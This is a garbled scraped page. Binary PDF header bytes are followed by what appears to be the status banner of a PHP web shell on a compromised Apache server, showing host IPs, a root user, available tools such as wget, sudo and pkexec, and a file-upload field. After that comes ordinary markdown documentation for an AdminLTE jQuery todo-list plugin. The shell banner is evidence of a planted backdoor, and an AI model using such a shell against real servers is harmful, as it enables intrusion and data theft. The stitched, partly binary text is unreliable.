%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/water/frontend/web/assets/d9e10a69/docs/javascript/ |
Upload File : |
--- layout: page title: Todo List Plugin --- The todo list plugin provides simple functionality to the todo list component. ##### Usage This plugin can be activated as a jQuery plugin or using the data api. ###### Data API {: .text-bold } Activate the plugin by adding `data-widget="todo-list"` to the ul element. If you need to provide onCheck and onUncheck methods, please use the jQuery API. ###### jQuery {: .text-bold } The jQuery API provides more customizable options that allows the developer to handle checking and unchecking the todo list checkbox events. ```js $('#my-todo-list').TodoList({ onCheck: function(checkbox) { // Do something when the checkbox is checked }, onUnCheck: function(checkbox) { // Do something after the checkbox has been unchecked } }) ``` ##### Options {: .mt-4} |--- | Name | Type | Default | Description |-|-|-|- |onCheck | Function | Anonymous Function | Handle checkbox onCheck event. The checkbox is passed as parameter to the function. |onUnCheck | Function | Anonymous Function | Handle checkbox onUnCheck event. The checkbox is passed as parameter to the function. |--- {: .table .table-bordered .bg-light}